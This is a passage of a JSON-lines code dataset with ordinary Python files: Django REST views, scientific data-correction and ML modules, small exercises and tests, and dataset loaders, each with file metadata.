headers=headers)\n if r.status_code == 200:\n resp = r.json()\n return resp['list']['entries']\n else:\n return []\n\n\ndef putRating(user_id, node_id, rating):\n url = base_url + 'nodes/' + node_id + '/ratings'\n headers = makeAuthHeader(user_id, user_password)\n if rating == 100:\n body = {\n \"id\": \"likes\",\n \"myRating\": True\n }\n elif rating == 200:\n print(\"===========deleting rating from node=================\")\n\n r = requests.delete(url+'/likes', headers=headers)\n print(r)\n return r\n else:\n body = {\n \"id\": \"fiveStar\",\n \"myRating\": int(rating)\n }\n print(body)\n r = requests.post(url, data=json.dumps(body), headers=headers)\n print(r)\n return r\n\n\ndef getDetailedData(entries):\n for item in entries:\n item['tag'] = getTags(item['entry']['id'])\n item['rating'] = getRating(item['entry']['id'])\n return entries\n\n\ndef deleteNode(node_id):\n url = base_url + 'nodes/' + node_id\n headers = makeAdminHeader()\n r = requests.delete(url, headers=headers)\n return r\n","sub_path":"Util/alfresco.py","file_name":"alfresco.py","file_ext":"py","file_size_in_byte":8463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"531699938","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n Se importan las librerias a utilizar, \n el login de las empresas se va a utilizar\n con las sesiones de django. \n\"\"\"\n\n\nfrom notificaciones.models import *\nfrom notificaciones.serializadores import *\n\nfrom django.http import HttpResponse\nfrom django.http import Http404\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\n\n\n\nclass JSONResponse(HttpResponse):\n \n def __init__(self, data, **kwargs):\n content = JSONRenderer().render(data)\n kwargs['content_type'] = 'application/json'\n super(JSONResponse, self).__init__(content, **kwargs)\n\n\n@csrf_exempt\ndef notificaciones_list(request):\n \"\"\"\n List all code snippets, or create a new snippet.\n \"\"\"\n if request.method == 'GET':\n notificaciones = Notificacion.objects.all()\n serializer = notificacionSerializer(notificaciones, many=True)\n return JSONResponse(serializer.data)\n\n elif request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = notificacionSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return JSONResponse(serializer.data, status=201)\n return JSONResponse(serializer.errors, status=400)\n\n\n\n@csrf_exempt\ndef notificacion_fotos(request, pk, format=None):\n \"\"\"\n Retrieve, update or delete a code snippet.\n \"\"\"\n try:\n notificacion = Notificacion.objects.get(pk=pk)\n fotos = Fotos.objects.filter(notificacion=notificacion)\n except Notificacion.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = AvisosSerializerFotos(fotos)\n return JSONResponse(serializer.data)\n\n\n\n\n@csrf_exempt\ndef notificacion_detail(request, pk, format=None):\n \"\"\"\n Retrieve, update or delete a code snippet.\n \"\"\"\n try:\n notificacion = Notificacion.objects.get(pk=pk)\n except Notificacion.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = notificacionSerializer(notificacion)\n return JSONResponse(serializer.data)\n\n elif request.method == 'PUT':\n data = JSONParser().parse(request)\n serializer = notificacionSerializer(notificacion, data=data)\n if serializer.is_valid():\n serializer.save()\n return JSONResponse(serializer.data)\n return JSONResponse(serializer.errors, status=400)\n\n elif request.method == 'DELETE':\n notificacion.delete()\n return HttpResponse(status=204)\n\n\n@csrf_exempt\ndef notificacion_avisos(request, pk, format=None):\n \"\"\"\n Retrieve, update or delete a code snippet.\n \"\"\"\n try:\n notificacion = Notificacion.objects.get(pk=pk)\n avisos = Aviso.objects.filter(notificacion=notificacion)\n except Aviso.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = AvisosSerializer(avisos)\n return JSONResponse(serializer.data)\n\n\n\n\n\"\"\"\nclass notificaciones_list(APIView):\n def get(self, request, format=None):\n snippets = Notificacion.objects.all()\n serializer = notificacionSerializer(snippets, many=True)\n return Response(serializer.data)\n\n def post(self, request, format=None):\n serializer = Notificacion(data=request.DATA)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\"\"\"\n\n\"\"\"\nfrom django.db.models.query import QuerySet\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.forms import widgets\n\n\n\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework.parsers import JSONParser\nfrom rest_framework import serializers\n\nfrom json import dumps, loads, JSONEncoder\n\"\"\"\n\n\n\n\"\"\"\n\ndef notificaciones_list(request, format=None):\n\n if request.method == 'GET':\n notificaciones = Notificacion.objects.all()\n serializer = notificacionSerializer(notificaciones, many=True)\n return Response(serializer.data)\n\n elif request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = notificacionSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status = status.HTTP_201_CREATED)\n return Response(serializer.errors, status = status.HTTP_400_BAD_REQUEST)\n\n\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef notificacion_detail(request, pk, format=None):\n\n try:\n notificacion = Notificacion.objects.get(pk=pk)\n except Snippet.DoesNotExist:\n return Response(status = status.HTTP_404_NOT_FOUND)\n\n if request.method == 'GET':\n serializer = notificacionSerializer(notificacion)\n return Response(serializer.data)\n\n elif request.method == 'PUT':\n serializer = notificacionSerializer(notificacion, data=request.DATA)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status = status.HTTP_400_BAD_REQUEST)\n\n elif request.method == 'DELETE':\n notificacion.delete()\n return Response(status = status.HTTP_204_NO_CONTENT)\n\n\n\n\"\"\"\n\n","sub_path":"notificaciones/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"165550339","text":"#\n# Module for applying the RSCD correction to science data\n#\n\nimport sys\nimport numpy as np\nimport logging\nfrom jwst import datamodels\n\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.DEBUG)\n\n\ndef do_correction(input_model, rscd_model):\n \"\"\"\n Short Summary\n -------------\n Applies rscd correction to science arrays, xxx\n\n Parameters\n ----------\n input_model: data model object\n science data to be corrected\n\n rscd_model: rscd model object\n rscd data\n\n Returns\n -------\n output_model: data model object\n RSCD-corrected science data\n\n \"\"\"\n\n # Save some data params for easy use later\n sci_nints = input_model.data.shape[0] # number of integrations\n\n sci_ngroups = input_model.data.shape[1] # number of groups\n # could also grab this information from input_model.meta.exposure.nints (ngroups)\n\n\n \n log.debug(\"RSCD correction using: nints=%d, ngroups=%d\" %\n (sci_nints, sci_ngroups))\n\n # Create output as a copy of the input science data model\n output = input_model.copy()\n\n tau1,scale1,tau2,scale2 = get_rscd_parameters(input_model,rscd_model)\n frame_time = input_model.meta.exposure.frame_time\n\n # loop over all integrations except the first\n\n for i in range(1, sci_nints):\n dn_last = get_DNaccumulated_last_int(input_model,i,sci_ngroups)\n # loop over groups in input science data:\n for j in range(sci_ngroups):\n # Apply the correction\n T = (j+1)*frame_time\n tau = tau1 * frame_time\n eterm = np.exp(-T/tau)\n correction = dn_last* scale1*eterm\n output.data[i, j] += correction\n\n return output\n\ndef get_rscd_parameters(input_model,rscd_model):\n readpatt = input_model.meta.exposure.readpatt\n subarray = input_model.meta.subarray.name\n print(\"exposure readpatt,subarray\",readpatt,subarray)\n # Read the correct row in table in the reference file to get the coefficients.\n tau1_table = rscd_model.rscd_table.field(\"tau1\")\n scale1_table = rscd_model.rscd_table.field(\"scale1\")\n tau2_table = rscd_model.rscd_table.field(\"tau2\")\n scale2_table = rscd_model.rscd_table.field(\"scale2\")\n readpatt_table = rscd_model.rscd_table.field(\"readpatt\")\n subarray_table = rscd_model.rscd_table.field(\"subarray\")\n# print('tau1',tau1_table)\n# print('readpatt',readpatt_table)\n# print(readpatt_table.size)\n# num_rows = readpatt_table.size\n\n \n index = np.asarray(np.where( np.logical_and (readpatt_table == readpatt, subarray_table==subarray) ))\n\n tau1 = tau1_table[index[0]]\n tau2 = tau2_table[index[0]]\n\n scale1 = scale1_table[index[0]]\n scale2 = scale2_table[index[0]]\n #print('RSCD parameters',tau1,tau2,scale1,scale2)\n return tau1,scale1,tau2,scale2\n\n\ndef get_DNaccumulated_last_int(input_model,i,sci_ngroups):\n # Find the accumulated DN from the last integration\n # need to add skipping N frames (frames affected by reset)\n # Add check to make sure we have enough frames left to do a fit\n \n nrows = input_model.data.shape[2]\n ncols = input_model.data.shape[3]\n # last frame affected by \"last frame\" effect - use second to last frame \n # may want to extrapolate to last frame \n # we may want to check if data has saturated \n dn_lastframe = input_model.data[i-1][sci_ngroups-2]\n\n dn_accumulated = dn_lastframe.copy()*0.0\n # print('nrows,ncols',nrows,ncols)\n # print(input_model.data.shape)\n for j in range(nrows):\n for k in range(ncols):\n ramp = input_model.data[i,0:sci_ngroups-1,j,k]\n \n slope,intercept = ols_fit(ramp)\n #print('slope & intercept',slope,intercept)\n\n dn_accumulated[j,k] = dn_lastframe[j,k] - intercept\n\n return dn_accumulated\n\ndef ols_fit(y):\n shape = y.shape\n nelem = float(len(y))\n \n x = np.arange(shape[0], dtype=np.float64)\n xshape = list(shape)\n for i in range(1, len(shape)):\n xshape[i] = 1\n x = x.reshape(xshape)\n\n\n mean_y = y.mean(axis=0)\n mean_x = x[-1] / 2.\n sum_x2 = (x**2).sum(axis=0)\n sum_xy = (x * y).sum(axis=0)\n slope = (sum_xy - nelem * mean_x * mean_y) / \\\n (sum_x2 - nelem * mean_x**2)\n intercept = mean_y - slope * mean_x\n\n \n return (slope, intercept)\n\n","sub_path":"jwst/rscd/rscd_sub.py","file_name":"rscd_sub.py","file_ext":"py","file_size_in_byte":4312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"257431187","text":"\"\"\"\n\nCrie uma programa que recebe uma lista qualquer e:\na. retorne o maior elemento\nb. retorne a soma dos elementos\nc. retorne o número de ocorrências do primeiro elemento da lista\nd. retorne a média dos elementos\n\n\"\"\"\n\nnum_list = []\n\nfor i in range(0, 5):\n num = int(input(\"Digite um numero: \"))\n num_list.append(num)\n\ndef minha_funcao(num_list):\n soma = sum(num_list)\n maior = max(num_list)\n media = maior/ len(num_list)\n\n ocorrencias = 0\n \"\"\"\n for i in range(0, len(num_list)):\n for y in range(0, len(num_list)):\n if num_list[i] == num_list[y]:\n ocorrencias += 1\n \"\"\"\n for i in range(0, len(num_list)):\n if num_list[i] == num_list[0]:\n ocorrencias += 1\n\n return soma, maior, media, ocorrencias\n\n\nsoma, maior, media, ocorrencias = minha_funcao(num_list)\n\nprint(\"A soma é:\", soma)\nprint(\"O maior é:\", maior)\nprint(\"A media é:\", media)\nprint(\"A ocorrencia do primeiro valor é:\", ocorrencias)\n","sub_path":"exercicios/exec_23.py","file_name":"exec_23.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"615581221","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nwhile True:\n N = int(input())\n if N==0:\n break\n count = 0\n for i in range(1,N//2+2):\n for j in range(i+1,N//2+2):\n hoge = (j-i+1)*(2*i+j-i)//2\n if hoge == N:\n count += 1\n elif hoge > N:\n break\n print(count)\n\n","sub_path":"AOJ/ICPC/100/2179.py","file_name":"2179.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"217381519","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nfrom distutils.version import StrictVersion\n\nfrom django.core.management.base import BaseCommand\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom ...logic import list_unnecessary_loads\nfrom ...settings import DJANGO_VERSION\n\nif StrictVersion(DJANGO_VERSION) < StrictVersion('1.8'):\n raise NotImplementedError('Minimal supported version of Django: 1.8')\nelif StrictVersion(DJANGO_VERSION) > StrictVersion('1.9'):\n raise NotImplementedError('Django version {} is not yet supported'.format(\n DJANGO_VERSION))\n\n\nclass Command(BaseCommand):\n help = 'List unutilized templatetag libraries'\n\n def add_arguments(self, parser):\n parser.add_argument(\n '-a', '--app', nargs='?', type=str, action='store', required=False,\n help=_('The label of the application that needs to be scanned'))\n\n def handle(self, *args, **options):\n # Find the app\n app_label = options.get('app', None)\n self.stdout.write(\n 'Has issues: {}'.format(str(list_unnecessary_loads(app_label))))\n","sub_path":"unload/management/commands/find_unnecessary_loads.py","file_name":"find_unnecessary_loads.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"147192608","text":"\"\"\"Scenario models represent scenario data sources within a system-of-systems\nmodel.\n\"\"\"\nfrom logging import getLogger\n\nfrom smif.convert.area import get_register as get_region_register\nfrom smif.convert.interval import get_register as get_interval_register\nfrom smif.model import Model\n\n\nclass ScenarioModel(Model):\n \"\"\"Represents exogenous scenario data\n\n Arguments\n ---------\n name : str\n The unique name of this scenario\n\n Attributes\n ----------\n name : str\n Name of this scenario\n timesteps : list\n List of timesteps for which the scenario holds data\n scenario_set : str\n Scenario set to which this scenario belongs\n \"\"\"\n\n def __init__(self, name):\n super().__init__(name)\n self.scenario_set = None\n self.scenario_name = None\n\n def as_dict(self):\n config = {\n 'name': self.name,\n 'description': self.description,\n 'scenario_set': self.scenario_set,\n 'facets': [\n output.as_dict()\n for output in self.outputs.values()\n ]\n }\n return config\n\n def add_output(self, name, spatial_resolution, temporal_resolution, units):\n \"\"\"Add an output to the scenario model\n\n Arguments\n ---------\n name: str\n spatial_resolution: :class:`smif.convert.area.RegionRegister`\n temporal_resolution: :class:`smif.convert.interval.TimeIntervalRegister`\n units: str\n\n \"\"\"\n output_metadata = {\n \"name\": name,\n \"spatial_resolution\": spatial_resolution,\n \"temporal_resolution\": temporal_resolution,\n \"units\": units\n }\n self.outputs.add_metadata(output_metadata)\n\n def _check_output(self, output):\n if output not in self.outputs.names:\n raise KeyError(\"'{}' not in scenario outputs\".format(output))\n\n def simulate(self, data):\n \"\"\"No-op, as the data is assumed already available in the store\n \"\"\"\n return data\n\n\nclass ScenarioModelBuilder(object):\n\n def __init__(self, name):\n self.scenario = ScenarioModel(name)\n self.logger = getLogger(__name__)\n\n self.region_register = get_region_register()\n self.interval_register = get_interval_register()\n\n def construct(self, scenario_config):\n \"\"\"Build a ScenarioModel\n\n Arguments\n ---------\n scenario_config: dict\n \"\"\"\n self.scenario.scenario_set = scenario_config['scenario_set']\n self.scenario.scenario_name = scenario_config['name']\n facets = scenario_config['facets']\n\n for facet in facets:\n spatial = facet['spatial_resolution']\n temporal = facet['temporal_resolution']\n\n spatial_res = self.region_register.get_entry(spatial)\n temporal_res = self.interval_register.get_entry(temporal)\n\n name = facet['name']\n self.scenario.add_output(name,\n spatial_res,\n temporal_res,\n facet['units'])\n\n def finish(self):\n \"\"\"Return the built ScenarioModel\n \"\"\"\n return self.scenario\n","sub_path":"src/smif/model/scenario_model.py","file_name":"scenario_model.py","file_ext":"py","file_size_in_byte":3245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"271354363","text":"# -*- coding: utf-8 -*- \n\n\nimport os\nimport unittest\nfrom appium import webdriver\nfrom time import sleep\nimport time\n\n\n\n# Returns abs path relative to this file and not cwd\nPATH = lambda p: os.path.abspath(\n os.path.join(os.path.dirname(__file__), p)\n)\n\nclass ContactsAndroidTests(unittest.TestCase):\n def setUp(self):\n desired_caps = {}\n desired_caps['platformName'] = 'Android'\n desired_caps['platformVersion'] = '5.0'\n desired_caps['deviceName'] = ''\n desired_caps['app'] = PATH(\n 'tmms.1099.apk'\n )\n desired_caps['appPackage'] = 'com.trendmicro.vpn.tmms'\n desired_caps['appActivity'] = 'com.trendmicro.vpn.test.YamatoTest'\n desired_caps['appWaitActivity '] = 'com.trendmicro.vpn.test.YamatoTest'\n\n\n self.driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)\n\n def tearDown(self):\n self.driver.quit()\n\n def test_tap_Enable_Button(self):\n self.driver.find_elements_by_class_name('android.widget.Button')[0].click()\n \n \n #self.driver.tap([(380,1085)])\n #time.sleep(1)\n #self.driver.tap([(532,794)])\n time.sleep(1)\n \n\n'''\nclass OpenBrowser(unittest.TestCase):\n def setUp(self):\n # Prepare desired server capabilities\n desired_caps = {}\n desired_caps['platformName'] = 'Android'\n desired_caps['deviceName'] = ''\n desired_caps['browserName'] = 'Chrome'\n desired_caps['autoWebview'] = True\n\n # Start web driver\n self.driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)\n self.driver.implicitly_wait(30)\n\n def test_open_browser_to_yahoo(self):\n driver = self.driver\n driver.get(\"https://www.whatismyip.com/\")\n \n time.sleep(3)\n\n def tearDown(self):\n self.driver.quit()\n'''\n\n\nif __name__ == '__main__':\n suite1 = unittest.TestLoader().loadTestsFromTestCase(ContactsAndroidTests)\n #suite2 = unittest.TestLoader().loadTestsFromTestCase(OpenBrowser)\n unittest.TextTestRunner(verbosity=2).run(suite1)\n #unittest.TextTestRunner(verbosity=2).run(suite2)\n","sub_path":"PythonExample.py","file_name":"PythonExample.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"186075843","text":"import unittest\n\nfrom app.words import Words\nfrom hecuba import Config, config\nfrom storage.api import getByID\n\n\nclass StorageTests(unittest.TestCase):\n\n def setUp(self):\n Config.reset(mock_cassandra=False)\n\n def test_getByID_block(self):\n # ki = KeyIter('testspace', 'tt', 'app.words.Words', 'fake-id', ['position'])\n SO = Words('so')\n b = SO.split().next()\n new_block = getByID(b.getID())\n self.assertEqual(b.getID(), new_block.getID())\n self.assertEqual(b, new_block)\n\n def test_getByID_storage_obj(self):\n b = Words('testspace.tt')\n new_block = getByID(b.getID())\n self.assertEqual(b, new_block)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/withcassandra/storage_tests.py","file_name":"storage_tests.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"519240069","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^remove/(?P[0-9]+)$', views.remove, name=\"remove\"),\n url(r'^add/(?P[0-9]+)$', views.addToCart, name=\"add\"),\n url(r'^update/(?P[0-9]+)$', views.update, name=\"update\"),\n]","sub_path":"cart/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"158888928","text":"import tensorflow as tf\nimport tensorflow_probability as tfp\ntfd = tfp.distributions\n\n'''\nThe noise in the data means that we can not be fully certain of the parameters of the linear relationship between x and y. For example, the slope we’ve found in the previous section seems reasonable, but we don’t know for sure, and perhaps a slightly shallower or steeper slope would also be reasonable. This kind of uncertainty is called the epistemic uncertainty; unlike aleatoric uncertainty, epistemic uncertainty can be reduced if we get more data. To get a sense of this uncertainty we shall replace the standard Keras Dense layer with TFP’s DenseVariational layer.\n\nThe DenseVariational layer uses a variational posterior Q(w) over the weights to represent the uncertainty in their values. This layer regularizes Q(w) to be close to the prior distribution P(w), which models the uncertainty in the weights before we look into the data.\n\nFor Q(w) we’ll use a multivariate normal distribution for the variational posterior with a trainable diagonal covariance matrix centered on a trainable location. For P(w) we’ll use a standard multivariate normal distribution for the prior with a trainable location and fixed scale. See Appendix B for more details about how this layer works.\n\nLet’s put that all together:\n\n'''\n# Build model.\nmodel = tf.keras.Sequential([\n tfp.layers.DenseVariational(1, posterior_mean_field, prior_trainable),\n tfp.layers.DistributionLambda(lambda t: tfd.Normal(loc=t, scale=1)),\n])\n\n# Do inference.\nmodel.compile(optimizer=tf.optimizers.Adam(learning_rate=0.05), loss=negloglik)\nmodel.fit(x, y, epochs=500, verbose=False)\n\n# Make predictions.\nyhats = [model(x_tst) for i in range(100)]\n\n\n'''\n\nEach line represents a different random draw of the model parameters from the posterior distribution. As we can see, there is in fact quite a bit of uncertainty about the linear relationship. Even if we don’t care about the variability of y for any particular value of x, the uncertainty in the slope should give us pause if we’re making predictions for x’s too far from 0.\n\nNote that in this example we are training both P(w) and Q(w). This training corresponds to using Empirical Bayes or Type-II Maximum Likelihood. We used this method so that we wouldn’t need to specify the location of the prior for the slope and intercept parameters, which can be tough to get right if we do not have prior knowledge about the problem. Moreover, if you set the priors very far from their true values, then the posterior may be unduly affected by this choice. A caveat of using Type-II Maximum Likelihood is that you lose some of the regularization benefits over the weights. If you wanted to do a proper Bayesian treatment of uncertainty (if you had some prior knowledge, or a more sophisticated prior), you could use a non-trainable prior (see Appendix B).\n\n\n'''\n","sub_path":"tensorflow_probability/examples/jupyter_notebooks/misc_regression/regression_epistemic.py","file_name":"regression_epistemic.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"539474044","text":"import numpy as np\nimport torch\nimport torch.nn as nn\n\nclass TemporalAttention(nn.Module):\n def __init__(self, **kwargs):\n super(TemporalAttention, self).__init__()\n\n self.g_size = kwargs[\"g_size\"]\n self.y_size = kwargs[\"y_size\"]\n self.daily_att = kwargs[\"daily_att\"]\n self.att_c_size = self.y_size if self.daily_att == 'y' else self.g_size\n\n # layers\n self.proj_i_linear = nn.Sequential(\n nn.Linear(self.g_size, self.g_size, bias=False),\n nn.Tanh(),\n )\n self.w_i_linear = nn.Linear(self.g_size, 1)\n self.proj_d_linear = nn.Sequential(\n nn.Linear(self.g_size, self.g_size, bias=False),\n nn.Tanh(),\n )\n self.aux_soft = nn.Softmax(dim=-1)\n self.y_linear = nn.Sequential(\n nn.Linear(self.att_c_size + self.g_size, self.y_size),\n nn.Softmax(dim=-1),\n )\n \n def forward(self, g, g_T, mask_aux_trading_days, y_pred=None):\n \"\"\"Temporal attention to get final y_T prediction\n\n Parameters\n ----------\n g : tensor - (batch_size, max_valid_n_days, g_size)\n g matrix\n g_T : tensor - (batch_size, g_size)\n g for the target day for each sample\n mask_aux_trading_days : bool tensor - (batch_size, max_valid_n_days)\n mask for all auxiliary trading days (i.e. excluding the target day)\n y_pred : tensor - (batch_size, max_valid_n_days, y_size), optional\n predicted movements, by default None\n\n Returns\n -------\n y_T : tensor - (batch_size, y_size)\n predicted movements for target day.\n v_star : tensor - (batch_size, max_valid_n_days)\n \"\"\" \n if self.daily_att == 'y':\n assert y_pred is not None, \"y cannot be None when daily_att = y.\"\n\n # information score\n proj_i = self.proj_i_linear(g)\n v_i = self.w_i_linear(proj_i).squeeze(-1) # (batch_size, max_valid_n_days)\n\n # dependency score\n proj_d = self.proj_d_linear(g) # (batch_size, max_valid_n_days, g_size)\n v_d = torch.matmul(proj_d, g_T.unsqueeze(-1)).squeeze(-1) # (batch_size, max_valid_n_days)\n # (b, d, g) x (b, g, 1) -> (b, d, 1) -> squeeze -> (b, d)\n\n aux_score = v_i * v_d\n # print(f\"aux_score={aux_score}\")\n masked_aux_score = torch.where(mask_aux_trading_days, aux_score, torch.tensor(-np.inf, device=aux_score.device))\n # print(f\"masked_aux_score={masked_aux_score}\")\n v_star = self.aux_soft(masked_aux_score)\n\n if self.daily_att == 'y':\n context = y_pred.transpose(1, 2) # (batch_size, y_size, max_valid_n_days)\n else:\n context = g.transpose(1, 2) # (batch_size, g_size, max_valid_n_days)\n v_star = v_star.unsqueeze(-1) # (batch_size, max_valid_n_days, 1)\n # print(f\"context = {context}\")\n # print(f\"v_star={v_star}\")\n att_c = torch.matmul(context, v_star).squeeze(-1) # (batch_size, g_size | y_size)\n # print(f\"att_c={att_c}\")\n y_T = self.y_linear(torch.cat((att_c, g_T), -1))\n\n return y_T, v_star.squeeze(-1)\n\n\n\n\n\n\n","sub_path":"pytorch-stocknet/model/temporal_attention.py","file_name":"temporal_attention.py","file_ext":"py","file_size_in_byte":3170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"424437017","text":"import os\nimport random\nimport enum\nfrom operator import itemgetter\n\nimport torch\nfrom torch.utils import data\nimport imageio\nimport skimage.color\nimport numpy\n\n\nclass Mode(enum.Enum):\n \"\"\"\n Mode of dataset to load\n \"\"\"\n training = 1\n test = 2\n validation = 3\n\n\nclass ColorMode(enum.Enum):\n \"\"\"\n Convert to greyscale or load as RGB\n \"\"\"\n RGB = 1\n GREY = 2\n\n\ndef get_file_paths(files_path):\n result = []\n for filename in os.listdir(files_path):\n p = os.path.join(files_path, filename)\n if os.path.isfile(p):\n result.append((filename.split('.')[0], p))\n result.sort(key=itemgetter(0))\n return (x[1] for x in result)\n\n\nclass SynteticShapes(data.Dataset):\n \"\"\"\n Class to read synthetic shapes dataset from a directory.\n Expects following layout:\n top_directory/\n subdirectory(like draw_cube)/\n ...\n /images\n /test\n /training\n /validation\n /points\n /test\n /training\n /validation\n \"\"\"\n def __init__(self, path, mode=Mode.training, transform=None,\n color=ColorMode.RGB, subset=None):\n \"\"\"\n Create dataset\n :param path: str\n :param mode: Mode\n :param transform: callable\n data transformer, transform should accept two keyword arguments data, target;\n that is single image, and single keypoints array\n :param color: ColorMode\n :param subset: str\n if provided read only from subdirectories ending with subset\n \"\"\"\n self.path = path\n self.mode = mode\n self.points = self._load_dataset(subset)\n no_op = lambda data, target: (data, target)\n if transform is None:\n transform = no_op\n self.transform = transform\n self.color = color\n self._size = len(self.points)\n\n def _load_image(self, path):\n pilmode = 'RGB'\n if self.color.value == ColorMode.GREY.value:\n pilmode = 'L'\n if self.color.value == ColorMode.GREY.value:\n img = imageio.imread(path)\n # make sure it's rgb\n if len(img.shape) == 3:\n assert img.shape[2] == 3\n img = skimage.color.rgb2gray(img)\n else:\n img = imageio.imread(path)\n if len(img.shape) == 2:\n img = img.reshape((*img.shape, 1))\n return numpy.asarray(img)\n\n def __getitem__(self, idx):\n x, y = self.points[idx]\n img = self._load_image(x)\n target = numpy.load(y)\n if self.transform is not None:\n res = self.transform(data=img, target=target)\n else:\n res = data, target\n return res\n\n def __len__(self):\n return self._size\n\n def shuffle(self):\n random.shuffle(self.points)\n\n def load_items(self, path):\n mode = self.mode.name\n images = 'images'\n points = 'points'\n images_path = os.path.join(path, images, mode)\n numpy_path = os.path.join(path, points, mode)\n img_paths = list(get_file_paths(images_path))\n\n numpy_paths = [os.path.join(numpy_path, os.path.basename(x).replace(os.path.splitext(x)[1], '.npy')) for x in img_paths]\n result = list(zip(list(img_paths), list(numpy_paths)))\n return result\n\n def _load_dataset(self, subset=None):\n result = []\n p = self.path\n def filter_func(x):\n return os.path.isdir(x) and (subset is None or x.endswith(subset))\n # top-level directories\n top_dirs = list(filter(filter_func, (os.path.join(p, x) for x in os.listdir(p))))\n # load images\n for top_dir in top_dirs:\n result.extend(self.load_items(top_dir))\n return result\n\n\nclass Multidirectory(data.Dataset):\n def __init__(self, paths, transform=None,\n color=ColorMode.RGB):\n self.datasets = []\n for path in paths:\n self.datasets.append(ImageDirectoryDataset(path,\n transform=transform, color=color))\n self._len = sum(len(x) for x in self.datasets)\n\n def __len__(self):\n return self._len\n\n def __getitem__(self, idx):\n tmp = idx\n for d in self.datasets:\n ld = len(d)\n if tmp < ld:\n return d[tmp]\n tmp -= ld\n raise IndexError('out of bounds %i' % idx)\n\n\nclass ImageDirectoryDataset(SynteticShapes):\n \"\"\"\n Class to load images from a single directory\n e.g. do not go into subdirectories\n \"\"\"\n\n def __init__(self, path, mode=Mode.training, transform=None,\n color=ColorMode.RGB, subset=None):\n super().__init__(path, mode=mode, transform=transform,\n color=color, subset=subset)\n if transform is None:\n self.transform = lambda data: data\n\n def __getitem__(self, idx):\n x = self.points[idx]\n img = self._load_image(x)\n transformed = self.transform(data=img)\n return transformed\n\n def _load_dataset(self, subset=None):\n result = []\n p = self.path\n for img_name in os.listdir(p):\n result.append(os.path.join(p, img_name))\n return result\n\n\nclass ImageSelfLearnDataset(ImageDirectoryDataset):\n \"\"\"\n Class for creating a stack of homography-adapted images\n \"\"\"\n def __getitem__(self, idx):\n x = self.points[idx]\n img = self._load_image(x)\n transformed = self.transform(img)\n images = torch.stack([torch.from_numpy(x.astype(numpy.float32)) for x in transformed[0]])\n H = torch.stack([torch.from_numpy(x) for x in transformed[1]])\n return images, H\n\n\nclass MinecraftDataset(ImageDirectoryDataset):\n def _load_dataset(self, subset=None):\n result = []\n p = self.path\n for img_name in os.listdir(p):\n if img_name.startswith('seg'):\n continue\n result.append(os.path.join(p, img_name))\n result.sort()\n return result\n\n","sub_path":"fem/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":6107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"175603256","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jun 25 16:41:16 2017\n\n@author: marc\n\"\"\"\n# The main idea is to read each line one by one and increment the \"pertinence\"\n# as long as the integer on the current line is greater or equal to zero.\n# If not we look at the current line and the 4 next lines to see\n# if there is a potential candidate that won't diminish the \"pertinence\"\n# ie a line that has a value greater or equal to zero (we stop at the first we find),\n# if we find one we go straight to it and jump over the lines in between.\n# If there isn't a suitable candidate, we choose to go to the line that has the least negative value\n# Side effect: if the least negative value is on the current line, the algorithm stays in place\n# so to prevent that we look only at the 4 next lines the next time\n\nimport 